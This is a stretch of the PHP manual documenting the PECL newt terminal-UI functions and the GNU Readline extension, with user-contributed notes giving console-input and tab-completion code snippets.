(PECL newt >= 0.1)

newt_listitem —

Description

resource newt_listitem ( int $left , int $top , string $text , bool $is_default , resouce $prev_item , mixed $data [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

is_default

prev_item

data

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Open a window of the specified size and position

  • « newt_listitem
  • newt_pop_help_line »
  • PHP Manual
  • Newt Functions
  • Open a window of the specified size and position

newt_open_window

(PECL newt >= 0.1)

newt_open_window — Open a window of the specified size and position

Description

int newt_open_window ( int $left , int $top , int $width , int $height [, string $title ] )

Open a window of the specified size and position.

Parameters

left

Location of the upper left-hand corner of the window (column number)

top

Location of the upper left-hand corner of the window (row number)

width

Window width

height

Window height

title

Window title

Return Values

Returns 1 on success, 0 on failure.

See Also

  • newt_pop_window() - Removes the top window from the display
  • newt_centered_window() - Open a centered window of the specified size

User Contributed Notes

There are no user contributed notes for this page.


Replaces the current help line with the one from the stack

  • « newt_open_window
  • newt_pop_window »
  • PHP Manual
  • Newt Functions
  • Replaces the current help line with the one from the stack

newt_pop_help_line

(PECL newt >= 0.1)

newt_pop_help_line — Replaces the current help line with the one from the stack

Description

void newt_pop_help_line ( void )

Replaces the current help line with the one from the stack.

Note:

It's important not to call to newt_pop_help_line() more than newt_push_help_line().

Return Values

No value is returned.

See Also

  • newt_push_help_line() - Saves the current help line on a stack, and displays the new line

User Contributed Notes

There are no user contributed notes for this page.


Removes the top window from the display

  • « newt_pop_help_line
  • newt_push_help_line »
  • PHP Manual
  • Newt Functions
  • Removes the top window from the display

newt_pop_window

(PECL newt >= 0.1)

newt_pop_window — Removes the top window from the display

Description

void newt_pop_window ( void )

Removes the top window from the display, and redraws the display areas which the window overwrote.

Return Values

No value is returned.

See Also

  • newt_open_window() - Open a window of the specified size and position
  • newt_centered_window() - Open a centered window of the specified size

User Contributed Notes

There are no user contributed notes for this page.


Saves the current help line on a stack, and displays the new line

  • « newt_pop_window
  • newt_radio_get_current »
  • PHP Manual
  • Newt Functions
  • Saves the current help line on a stack, and displays the new line

newt_push_help_line

(PECL newt >= 0.1)

newt_push_help_line — Saves the current help line on a stack, and displays the new line

Description

void newt_push_help_line ([ string $text ] )

Saves the current help line on a stack, and displays the new line.

Parameters

text

New help text message

Note:

If not specified, the help line is cleared.

Return Values

No value is returned.

See Also

  • newt_pop_help_line() - Replaces the current help line with the one from the stack

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_push_help_line
  • newt_radiobutton »
  • PHP Manual
  • Newt Functions
  • Description

newt_radio_get_current

(PECL newt >= 0.1)

newt_radio_get_current —

Description

resource newt_radio_get_current ( resource $set_member )
Warning

This function is currently not documented; only its argument list is available.

Parameters

set_member

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_radio_get_current
  • newt_redraw_help_line »
  • PHP Manual
  • Newt Functions
  • Description

newt_radiobutton

(PECL newt >= 0.1)

newt_radiobutton —

Description

resource newt_radiobutton ( int $left , int $top , string $text , bool $is_default [, resource $prev_button ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

is_default

prev_button

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_radiobutton
  • newt_reflow_text »
  • PHP Manual
  • Newt Functions
  • Description

newt_redraw_help_line

(PECL newt >= 0.1)

newt_redraw_help_line —

Description

void newt_redraw_help_line ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_redraw_help_line
  • newt_refresh »
  • PHP Manual
  • Newt Functions
  • Description

newt_reflow_text

(PECL newt >= 0.1)

newt_reflow_text —

Description

string newt_reflow_text ( string $text , int $width , int $flex_down , int $flex_up , int &$actual_width , int &$actual_height )
Warning

This function is currently not documented; only its argument list is available.

Parameters

text

width

flex_down

flex_up

actual_width

actual_height

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Updates modified portions of the screen

  • « newt_reflow_text
  • newt_resize_screen »
  • PHP Manual
  • Newt Functions
  • Updates modified portions of the screen

newt_refresh

(PECL newt >= 0.1)

newt_refresh — Updates modified portions of the screen

Description

void newt_refresh ( void )

To increase performance, newt only updates the display when it needs to, not when the program tells it to write to the terminal. Applications can force newt to immediately update modified portions of the screen by calling this function.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_refresh
  • newt_resume »
  • PHP Manual
  • Newt Functions
  • Description

newt_resize_screen

(PECL newt >= 0.1)

newt_resize_screen —

Description

void newt_resize_screen ([ bool $redraw ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

redraw

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Resume using the newt interface after calling newt_suspend

  • « newt_resize_screen
  • newt_run_form »
  • PHP Manual
  • Newt Functions
  • Resume using the newt interface after calling newt_suspend

newt_resume

(PECL newt >= 0.1)

newt_resume — Resume using the newt interface after calling newt_suspend()

Description

void newt_resume ( void )

Resume using the newt interface after calling newt_suspend().

Return Values

No value is returned.

See Also

  • newt_suspend() - Tells newt to return the terminal to its initial state

User Contributed Notes

There are no user contributed notes for this page.


Runs a form

  • « newt_resume
  • newt_scale_set »
  • PHP Manual
  • Newt Functions
  • Runs a form

newt_run_form

(PECL newt >= 0.1)

newt_run_form — Runs a form

Description

resource newt_run_form ( resource $form )

This function runs the form passed to it.

Parameters

form

Form component

Return Values

The component which caused the form to stop running.

Note:

Notice that this function doesn't fit in with newt's normal naming convention. It is an older interface which will not work for all forms. It was left in newt only for legacy applications. It is a simpler interface than the new newt_form_run() though, and is still used quite often as a result. When an application is done with a form, it destroys the form and all of the components the form contains.

See Also

  • newt_form_run() - Runs a form
  • newt_form_destroy() - Destroys a form

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_run_form
  • newt_scale »
  • PHP Manual
  • Newt Functions
  • Description

newt_scale_set

(PECL newt >= 0.1)

newt_scale_set —

Description

void newt_scale_set ( resource $scale , int $amount )
Warning

This function is currently not documented; only its argument list is available.

Parameters

scale

amount

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_scale_set
  • newt_scrollbar_set »
  • PHP Manual
  • Newt Functions
  • Description

newt_scale

(PECL newt >= 0.1)

newt_scale —

Description

resource newt_scale ( int $left , int $top , int $width , int $full_value )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

width

full_value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_scale
  • newt_set_help_callback »
  • PHP Manual
  • Newt Functions
  • Description

newt_scrollbar_set

(PECL newt >= 0.1)

newt_scrollbar_set —

Description

void newt_scrollbar_set ( resource $scrollbar , int $where , int $total )
Warning

This function is currently not documented; only its argument list is available.

Parameters

scrollbar

where

total

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_scrollbar_set
  • newt_set_suspend_callback »
  • PHP Manual
  • Newt Functions
  • Description

newt_set_help_callback

(PECL newt >= 0.1)

newt_set_help_callback —

Description

void newt_set_help_callback ( mixed $function )
Warning

This function is currently not documented; only its argument list is available.

Parameters

function

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set a callback function which gets invoked when user presses the suspend key

  • « newt_set_help_callback
  • newt_suspend »
  • PHP Manual
  • Newt Functions
  • Set a callback function which gets invoked when user presses the suspend key

newt_set_suspend_callback

(PECL newt >= 0.1)

newt_set_suspend_callback — Set a callback function which gets invoked when user presses the suspend key

Description

void newt_set_suspend_callback ( callable $function , mixed $data )

Set a callback function which gets invoked when user presses the suspend key (normally ^Z). If no suspend callback is registered, the suspend keystroke is ignored.

Parameters

function

A callback function, which accepts one argument: data

data

This data is been passed to the callback function

Return Values

No value is returned.

See Also

  • newt_suspend() - Tells newt to return the terminal to its initial state
  • newt_resume() - Resume using the newt interface after calling newt_suspend

User Contributed Notes

There are no user contributed notes for this page.


Tells newt to return the terminal to its initial state

  • « newt_set_suspend_callback
  • newt_textbox_get_num_lines »
  • PHP Manual
  • Newt Functions
  • Tells newt to return the terminal to its initial state

newt_suspend

(PECL newt >= 0.1)

newt_suspend — Tells newt to return the terminal to its initial state

Description

void newt_suspend ( void )

Tells newt to return the terminal to its initial state. Once this is done, the application can suspend itself (by sending itself a SIGTSTP, fork a child program, or do whatever else it likes).

Return Values

No value is returned.

See Also

  • newt_resume() - Resume using the newt interface after calling newt_suspend

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_suspend
  • newt_textbox_reflowed »
  • PHP Manual
  • Newt Functions
  • Description

newt_textbox_get_num_lines

(PECL newt >= 0.1)

newt_textbox_get_num_lines —

Description

int newt_textbox_get_num_lines ( resource $textbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

textbox

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_textbox_get_num_lines
  • newt_textbox_set_height »
  • PHP Manual
  • Newt Functions
  • Description

newt_textbox_reflowed

(PECL newt >= 0.1)

newt_textbox_reflowed —

Description

resource newt_textbox_reflowed ( int $left , int $top , char $*text , int $width , int $flex_down , int $flex_up [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

*text

width

flex_down

flex_up

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_textbox_reflowed
  • newt_textbox_set_text »
  • PHP Manual
  • Newt Functions
  • Description

newt_textbox_set_height

(PECL newt >= 0.1)

newt_textbox_set_height —

Description

void newt_textbox_set_height ( resource $textbox , int $height )
Warning

This function is currently not documented; only its argument list is available.

Parameters

textbox

height

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_textbox_set_height
  • newt_textbox »
  • PHP Manual
  • Newt Functions
  • Description

newt_textbox_set_text

(PECL newt >= 0.1)

newt_textbox_set_text —

Description

void newt_textbox_set_text ( resource $textbox , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

textbox

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_textbox_set_text
  • newt_vertical_scrollbar »
  • PHP Manual
  • Newt Functions
  • Description

newt_textbox

(PECL newt >= 0.1)

newt_textbox —

Description

resource newt_textbox ( int $left , int $top , int $width , int $height [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

width

height

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_textbox
  • newt_wait_for_key »
  • PHP Manual
  • Newt Functions
  • Description

newt_vertical_scrollbar

(PECL newt >= 0.1)

newt_vertical_scrollbar —

Description

resource newt_vertical_scrollbar ( int $left , int $top , int $height [, int $normal_colorset [, int $thumb_colorset ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

height

normal_colorset

thumb_colorset

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Doesn't return until a key has been pressed

  • « newt_vertical_scrollbar
  • newt_win_choice »
  • PHP Manual
  • Newt Functions
  • Doesn't return until a key has been pressed

newt_wait_for_key

(PECL newt >= 0.1)

newt_wait_for_key — Doesn't return until a key has been pressed

Description

void newt_wait_for_key ( void )

This function doesn't return until a key has been pressed. The keystroke is then ignored. If a key is already in the terminal's buffer, this function discards a keystroke and returns immediately.

Return Values

No value is returned.

See Also

  • newt_clear_key_buffer() - Discards the contents of the terminal's input buffer without waiting for additional input

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_wait_for_key
  • newt_win_entries »
  • PHP Manual
  • Newt Functions
  • Description

newt_win_choice

(PECL newt >= 0.1)

newt_win_choice —

Description

int newt_win_choice ( string $title , string $button1_text , string $button2_text , string $format [, mixed $args [, mixed $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

button1_text

button2_text

format

args

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_win_choice
  • newt_win_menu »
  • PHP Manual
  • Newt Functions
  • Description

newt_win_entries

(PECL newt >= 0.1)

newt_win_entries —

Description

int newt_win_entries ( string $title , string $text , int $suggested_width , int $flex_down , int $flex_up , int $data_width , array &$items , string $button1 [, string $... ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

text

suggested_width

flex_down

flex_up

data_width

items

button1

button2

Return Values

Examples

Example #1 A newt_win_entries() example

<?php

newt_init();
newt_cls();

$entries[] = array('text' => 'First name:', 'value' => &$f_name);
$entries[] = array('text' => 'Last name:',  'value' => &$l_name);

$rc = newt_win_entries("User information", "Please enter your credentials:", 50, 7, 7, 30, $entries, "Ok", "Back");
newt_finished ();

if ($rc != 2) {
    echo "Your name is: $f_name $l_name\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_win_entries
  • newt_win_message »
  • PHP Manual
  • Newt Functions
  • Description

newt_win_menu

(PECL newt >= 0.1)

newt_win_menu —

Description

int newt_win_menu ( string $title , string $text , int $suggestedWidth , int $flexDown , int $flexUp , int $maxListHeight , array $items , int &$listItem [, string $button1 [, string $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

text

suggestedWidth

flexDown

flexUp

maxListHeight

items

listItem

button1

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_win_menu
  • newt_win_messagev »
  • PHP Manual
  • Newt Functions
  • Description

newt_win_message

(PECL newt >= 0.1)

newt_win_message —

Description

void newt_win_message ( string $title , string $button_text , string $format [, mixed $args [, mixed $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

button_text

format

args

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_win_message
  • newt_win_ternary »
  • PHP Manual
  • Newt Functions
  • Description

newt_win_messagev

(PECL newt >= 0.1)

newt_win_messagev —

Description

void newt_win_messagev ( string $title , string $button_text , string $format , array $args )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

button_text

format

args

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_win_messagev
  • Readline »
  • PHP Manual
  • Newt Functions
  • Description

newt_win_ternary

(PECL newt >= 0.1)

newt_win_ternary —

Description

int newt_win_ternary ( string $title , string $button1_text , string $button2_text , string $button3_text , string $format [, mixed $args [, mixed $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

Its description

button1_text

Its description

button2_text

Its description

button3_text

Its description

format

Its description

args

Its description

Return Values

What the function returns, first on success, then on failure. See also the &return.success; entity

User Contributed Notes

There are no user contributed notes for this page.


GNU Readline

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Readline Functions
    • readline_add_history — Adds a line to the history
    • readline_callback_handler_install — Initializes the readline callback interface and terminal, prints the prompt and returns immediately
    • readline_callback_handler_remove — Removes a previously installed callback handler and restores terminal settings
    • readline_callback_read_char — Reads a character and informs the readline callback interface when a line is received
    • readline_clear_history — Clears the history
    • readline_completion_function — Registers a completion function
    • readline_info — Gets/sets various internal readline variables
    • readline_list_history — Lists the history
    • readline_on_new_line — Inform readline that the cursor has moved to a new line
    • readline_read_history — Reads the history
    • readline_redisplay — Redraws the display
    • readline_write_history — Writes the history
    • readline — Reads a line

User Contributed Notes

list2011 at lunch dot za dot net 02-Feb-2012 07:11
When readline is enabled, php switches the terminal mode to accept line-buffered input.  This means that the proper way to use the cli when you pipe to an interactive command is to explicitly specify that php is not using the terminal for input:

php somescript.php < /dev/null | less


Introduction

The readline functions implement an interface to the GNU Readline library. These are functions that provide editable command lines. An example being the way Bash allows you to use the arrow keys to insert characters or scroll through command history. Because of the interactive nature of this library, it will be of little use for writing Web applications, but may be useful when writing scripts used from a command line.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To use the readline functions, you need to install libreadline. You can find libreadline on the home page of the GNU Readline project, at » http://cnswww.cns.cwru.edu/~chet/readline/rltop.html. It's maintained by Chet Ramey, who's also the author of Bash.

You can also use these functions with the libedit library, a non-GPL replacement for the readline library. The libedit library is BSD licensed and available for download from » http://www.thrysoee.dk/editline/.

User Contributed Notes

Anonymous 27-Jan-2011 03:38
Note that libedit does not support the function readline_list_history()


Installation

To use these functions you must compile the CGI or CLI version of PHP with readline support. You need to configure PHP --with-readline[=DIR] . If you want to use the libedit readline replacement, configure PHP --with-libedit[=DIR] .

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Readline Configure Options
Name | Default | Changeable | Changelog
cli.pager | "" | PHP_INI_ALL | Available since PHP 5.4.0.
cli.prompt | "\\b \\> " | PHP_INI_ALL | Available since PHP 5.4.0.

Here's a short explanation of the configuration directives.

cli.pager string

External tool to display output from command line.

cli.prompt string

Command line prompt.

User Contributed Notes

There are no user contributed notes for this page.


Readline Functions

Table of Contents

  • readline_add_history — Adds a line to the history
  • readline_callback_handler_install — Initializes the readline callback interface and terminal, prints the prompt and returns immediately
  • readline_callback_handler_remove — Removes a previously installed callback handler and restores terminal settings
  • readline_callback_read_char — Reads a character and informs the readline callback interface when a line is received
  • readline_clear_history — Clears the history
  • readline_completion_function — Registers a completion function
  • readline_info — Gets/sets various internal readline variables
  • readline_list_history — Lists the history
  • readline_on_new_line — Inform readline that the cursor has moved to a new line
  • readline_read_history — Reads the history
  • readline_redisplay — Redraws the display
  • readline_write_history — Writes the history
  • readline — Reads a line

User Contributed Notes

david at acz dot org 28-Feb-2007 06:07
Readline only reads the window size on startup or on SIGWINCH.  This means if the window is resized when not in a readline() call, the next call will have odd behavior due to confusion about the window size.

The work-around is to force Readline to re-read the window size by sending it SIGWINCH.  This is accomplished using the async interface, which installs the signal handler but returns control to PHP.

The following function is a drop-in replacement for readline(), but re-reads the window size every time:

<?
    function xreadline($prompt)
    {
        global $xreadline, $xreadline_line;
        $code = '$GLOBALS["xreadline"] = false;' .
                '$GLOBALS["xreadline_line"] = $line;' .
                'readline_callback_handler_remove();';
        $cb = create_function('$line', $code);
        readline_callback_handler_install($prompt, $cb);
        $signal = defined("SIGWINCH") ? SIGWINCH : 28;
        posix_kill(posix_getpid(), $signal);
        $xreadline = true;
        while ($xreadline)
            readline_callback_read_char();
        return is_null($xreadline_line) ? false : $xreadline_line;
    }
?>
flobee 28-Apr-2006 07:29
re to: ds at NOSPAM dot undesigned dot org dot za

cool program! note when trying to exec() something:
in the while loop you need to reset exec() returns or you will get all results of all executions (on my my windows and or cygwin :-(
like:
<?php
// your class prompt()

echo "Enter something or 'exit' to quit\n";
do {
    $cmdline = new prompt();
    $buffer = $cmdline->get('shell command: ');
// init/ reset first!
    $data = null;
    $return = null;
// now start:
    echo "You said: $buffer\n";
    if (!empty($buffer)) {
        $x = exec($buffer, $data, $return);
        print_r($data);
    }
} while ($buffer !== "exit");
echo "Goodbye\n";
jeffrey at thompsonic dot com 22-Feb-2005 03:18
Here's an easy way without readline() if you don't have it compiled in already:

   $fp = fopen("php://stdin","r");
   $line = rtrim(fgets($fp, 1024);
jcl atNOSPAM jcl dot name 23-Nov-2004 06:40
Even better than 'plz at dont dot spam' in only one line :) :

@c:\\php\\cli\\php.exe script.php %*

Cheers,
Jean-Charles
plz at dont dot spam 08-Aug-2004 10:50
To get all arguments passed to a batch file in one variable
rather than using %1 %2 %3 etc;

:LOOP
if "%1" == "" goto DONE
set args=%args% %1
shift
goto LOOP
:DONE
@c:\\php\\cli\\php.exe script.php %args%
set args=
ds at NOSPAM dot undesigned dot org dot za 05-Dec-2003 05:04
You can open /dev/tty on unix systems or \con in windows, with ob_implicit_flush(true) to write output unbuffered.  Works like a charm :-)

-------------------------------

#!/usr/local/bin/php -q
<?php

set_time_limit(0);
@ob_end_flush();
ob_implicit_flush(true);

class prompt {
  var $tty;

  function prompt() {
    if (substr(PHP_OS, 0, 3) == "WIN") {
      $this->tty = fOpen("\con", "rb");
    } else {
      if (!($this->tty = fOpen("/dev/tty", "r"))) {
        $this->tty = fOpen("php://stdin", "r");
      }
    }
  }

  function get($string, $length = 1024) {
    echo $string;
    $result = trim(fGets($this->tty, $length));
    echo "\n";
    return $result;
  }
}

echo "Enter something or 'exit' to quit\n";
do {
  $cmdline = new prompt();
  $buffer = $cmdline->get("Something: ");
  echo "You said: $buffer\n";
} while ($buffer !== "exit");
echo "Goodbye\n";

?>
jewfish at jewfish dot net 11-Jun-2002 01:05
There is a simpler way to do a multiline read than above:

function multiline() {
    while(($in = readline("")) != ".")
        $story .= ($PHP_OS == "WINNT") ? "\r\n".$in :
                                         "\n".$in;

    return $story;
}
joshua at neocodesoftware.com 21-Apr-2002 12:17
Here's an example simple readline-like way to input from command line on windows - the single line is from http://www.phpbuilder.com/columns/darrell20000319.php3, the multiline is something I added...

<?
function read () {
    # 4092 max on win32 fopen

    $fp=fopen("php://stdin", "r");
    $in=fgets($fp,4094);
    fclose($fp);

    # strip newline
    (PHP_OS == "WINNT") ? ($read = str_replace("\r\n", "", $in)) : ($read = str_replace("\n", "", $in));

    return $read;
}

function multilineread () {
    do {
        $in = read();

        # test exit
        if ($in == ".") return $read;

        # concat input
        (PHP_OS == "WINNT") ? ($read = $read . ($read ? "\r\n" : "") . $in) : ($read = $read . "\n" . $in);

    } while ($inp != ".");

    return $read;
}

print("End input with . on line by itself.\n");

print("What is your first name?\n");
$first_name = multilineread();

print("What is your last name?\n");
$last_name = read();

print("\nHello, $first_name $last_name! Nice to meet you! \n");
?>
14-Apr-2002 04:17
[Ed. note: you can use fopen("php://stdin", "w") to achieve the same thing, works on both Windows and Unix)]

I wanted to get console input in a PHP script running on windows, so I made a little hack, which is so simple, it is clearly public domain.  What I did was write a C++ program to get a line, then output it.  Then all that is needed is to exec() that program and capture the output - readline() for windows.  The C++ source is as follows:

#include <iostream.h>
#include <string>
void main()
{
    string input;
    cin >> input;
    cout << input;
}

It works wonderfully for my purposes, since I love the PHP language and want to have console input.

Justin Henck


Adds a line to the history

  • « Readline Functions
  • readline_callback_handler_install »
  • PHP Manual
  • Readline Functions
  • Adds a line to the history

readline_add_history

(PHP 4, PHP 5)

readline_add_history — Adds a line to the history

Description

bool readline_add_history ( string $line )

This function adds a line to the command line history.

Parameters

line

The line to be added in the history.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 27-Jan-2011 12:53
Note that readline_add_history() will add empty strings too.

<?php
$line = readline(">>> ");
if (!empty($line)) {
  readline_add_history($line);
}
?>


Initializes the readline callback interface and terminal, prints the prompt and returns immediately

  • « readline_add_history
  • readline_callback_handler_remove »
  • PHP Manual
  • Readline Functions
  • Initializes the readline callback interface and terminal, prints the prompt and returns immediately

readline_callback_handler_install

(PHP 5 >= 5.1.0)

readline_callback_handler_install — Initializes the readline callback interface and terminal, prints the prompt and returns immediately

Description

bool readline_callback_handler_install ( string $prompt , callable $callback )

Sets up a readline callback interface then prints prompt and immediately returns. Calling this function twice without removing the previous callback interface will automatically and conveniently overwrite the old interface.

The callback feature is useful when combined with stream_select() as it allows interleaving of IO and user input, unlike readline().

Parameters

prompt

The prompt message.

callback

The callback function takes one parameter; the user input returned.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Readline Callback Interface Example

<?php
function rl_callback($ret)
{
    global $c, $prompting;

    echo "You entered: $ret\n";
    $c++;

    if ($c > 10) {
        $prompting = false;
        readline_callback_handler_remove();
    } else {
        readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');
    }
}

$c = 1;
$prompting = true;

readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');

while ($prompting) {
    $w = NULL;
    $e = NULL;
    $n = stream_select($r = array(STDIN), $w, $e, null);
    if ($n && in_array(STDIN, $r)) {
        // read a character, will call the callback when a newline is entered
        readline_callback_read_char();
    }
}

echo "Prompting disabled. All done.\n";
?>

See Also

  • readline_callback_handler_remove() - Removes a previously installed callback handler and restores terminal settings
  • readline_callback_read_char() - Reads a character and informs the readline callback interface when a line is received
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

User Contributed Notes

There are no user contributed notes for this page.


Removes a previously installed callback handler and restores terminal settings

  • « readline_callback_handler_install
  • readline_callback_read_char »
  • PHP Manual
  • Readline Functions
  • Removes a previously installed callback handler and restores terminal settings

readline_callback_handler_remove

(PHP 5 >= 5.1.0)

readline_callback_handler_remove — Removes a previously installed callback handler and restores terminal settings

Description

bool readline_callback_handler_remove ( void )

Removes a previously installed callback handler and restores terminal settings.

Return Values

Returns TRUE if a previously installed callback handler was removed, or FALSE if one could not be found.

Examples

See readline_callback_handler_install() for an example of how to use the readline callback interface.

See Also

  • readline_callback_handler_install() - Initializes the readline callback interface and terminal, prints the prompt and returns immediately
  • readline_callback_read_char() - Reads a character and informs the readline callback interface when a line is received

User Contributed Notes

There are no user contributed notes for this page.


Reads a character and informs the readline callback interface when a line is received

  • « readline_callback_handler_remove
  • readline_clear_history »
  • PHP Manual
  • Readline Functions
  • Reads a character and informs the readline callback interface when a line is received

readline_callback_read_char

(PHP 5 >= 5.1.0)

readline_callback_read_char — Reads a character and informs the readline callback interface when a line is received

Description

void readline_callback_read_char ( void )

Reads a character of user input. When a line is received, this function informs the readline callback interface installed using readline_callback_handler_install() that a line is ready for input.

Return Values

No value is returned.

Examples

See readline_callback_handler_install() for an example of how to use the readline callback interface.

See Also

  • readline_callback_handler_install() - Initializes the readline callback interface and terminal, prints the prompt and returns immediately
  • readline_callback_handler_remove() - Removes a previously installed callback handler and restores terminal settings

User Contributed Notes

Quis-NOZPAM- at omicidio-NOZPAM- dot nl 03-Aug-2006 01:43
Note that this function is blocking if there is no character to read
If you don`t want to get blocked, you should use the trick with stream_select()

It also only reads one char per call,
So if something else in your script is blocking,
you`ve got a problem


Clears the history

  • « readline_callback_read_char
  • readline_completion_function »
  • PHP Manual
  • Readline Functions
  • Clears the history

readline_clear_history

(PHP 4, PHP 5)

readline_clear_history — Clears the history

Description

bool readline_clear_history ( void )

This function clears the entire command line history.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Registers a completion function

  • « readline_clear_history
  • readline_info »
  • PHP Manual
  • Readline Functions
  • Registers a completion function

readline_completion_function

(PHP 4, PHP 5)

readline_completion_function — Registers a completion function

Description

bool readline_completion_function ( callable $function )

This function registers a completion function. This is the same kind of functionality you'd get if you hit your tab key while using Bash.

Parameters

function

You must supply the name of an existing function which accepts a partial command line and returns an array of possible matches.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

chris AT w3style DOT co UK 29-Nov-2009 05:39
A little bit of info regarding useful variables when writing your callback function.

There doesn't seem to be a way to set rl_basic_word_break_characters like with the pure C library, so as previous users have pointed out you'll only receive the current word in the input buffer within your callback.  If for example you're typing "big bro|ther", where the bar is the position of your cursor when you hit TAB, you'll receive (string) "brother" and (int) 4 as your callback parameters.

However, it is possible (easily) to get more useful information about what the user has typed into the readline buffer.  readline_info() is key here.  It will return an array containing:

"line_buffer" => (string)
   the entire contents of the line buffer (+ some bugs**)

"point" => (int)
   the current position of the cursor in the buffer

"end" => (int)
   the position of the last character in the buffer

So for the example above you'd get:

  * line_buffer => "big brother"
  * point => 7
  * end => 11

From this you can easily perform multi-word matches.

** NOTE: line_buffer seems to contain spurious data at the end of the string sometime.  Fortunately since $end is provided you can substr() it to get the correct value.

The matches you need to return are full words that can replace $input, so your algorithm might crudely look something like:

<?php

function your_callback($input, $index) {
  // Get info about the current buffer
  $rl_info = readline_info();

  // Figure out what the entire input is
  $full_input = substr($rl_info['line_buffer'], 0, $rl_info['end']);

  $matches = array();

  // Get all matches based on the entire input buffer
  foreach (phrases_that_begin_with($full_input) as $phrase) {
    // Only add the end of the input (where this word begins)
    // to the matches array
    $matches[] = substr($phrase, $index);
  }

  return $matches;
}

?>
overshoot.tv 25-Jun-2009 09:07
Note: the first argument passed to the registered function is NOT the whole command line as entered by the user, but only the last part, i.e. the part after the last space.

e.g.:
<?php
function my_readline_completion_function($string, $index) {
  // If the user is typing:
  // mv file.txt directo[TAB]
  // then:
  // $string = directo
  // the $index is the place of the cursor in the line:
  // $index = 19;

  $array = array(
    'ls',
    'mv',
    'dar',
    'exit',
    'quit',
  );

  // Here, I decide not to return filename autocompletion for the first argument (0th argument).
  if ($index) {
    $ls = `ls`;
    $lines = explode("\n", $ls);
    foreach ($lines AS $key => $line) {
      if (is_dir($line)) {
        $lines[$key] .= '/';
      }
      $array[] = $lines[$key];
    }
  }
  // This will return both our list of functions, and, possibly, a list of files in the current filesystem.
 // php will filter itself according to what the user is typing.
  return $array;
}
?>
david at acz dot org 01-Feb-2005 09:08
This function can simply return an array of all possible matches (regardless of the current user intput) and readline will handle the matching itself.  This is likely to be much faster than attempting to handle partial matches in PHP.
john at weider dot cc 21-Sep-2002 06:32
It seems that the registered function can accept 2 parameters, the first being the partial string, the second a number that when equal to zero indicates that the tab was hit on the first argument on the input. Otherwise it looks like the position within the string is returned.

This is neccessary information for processing shell command line input.


Gets/sets various internal readline variables

  • « readline_completion_function
  • readline_list_history »
  • PHP Manual
  • Readline Functions
  • Gets/sets various internal readline variables

readline_info

(PHP 4, PHP 5)

readline_info — Gets/sets various internal readline variables

Description

mixed readline_info ([ string $varname [, string $newvalue ]] )

Gets or sets various internal readline variables.

Parameters

varname

A variable name.

newvalue

If provided, this will be the new value of the setting.

Return Values

If called with no parameters, this function returns an array of values for all the setting readline uses. The elements will be indexed by the following values: done, end, erase_empty_line, library_version, line_buffer, mark, pending_input, point, prompt, readline_name, and terminal_name.

If called with one or two parameters, the old value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Lists the history

  • « readline_info
  • readline_on_new_line »
  • PHP Manual
  • Readline Functions
  • Lists the history

readline_list_history

(PHP 4, PHP 5)

readline_list_history — Lists the history

Description

array readline_list_history ( void )

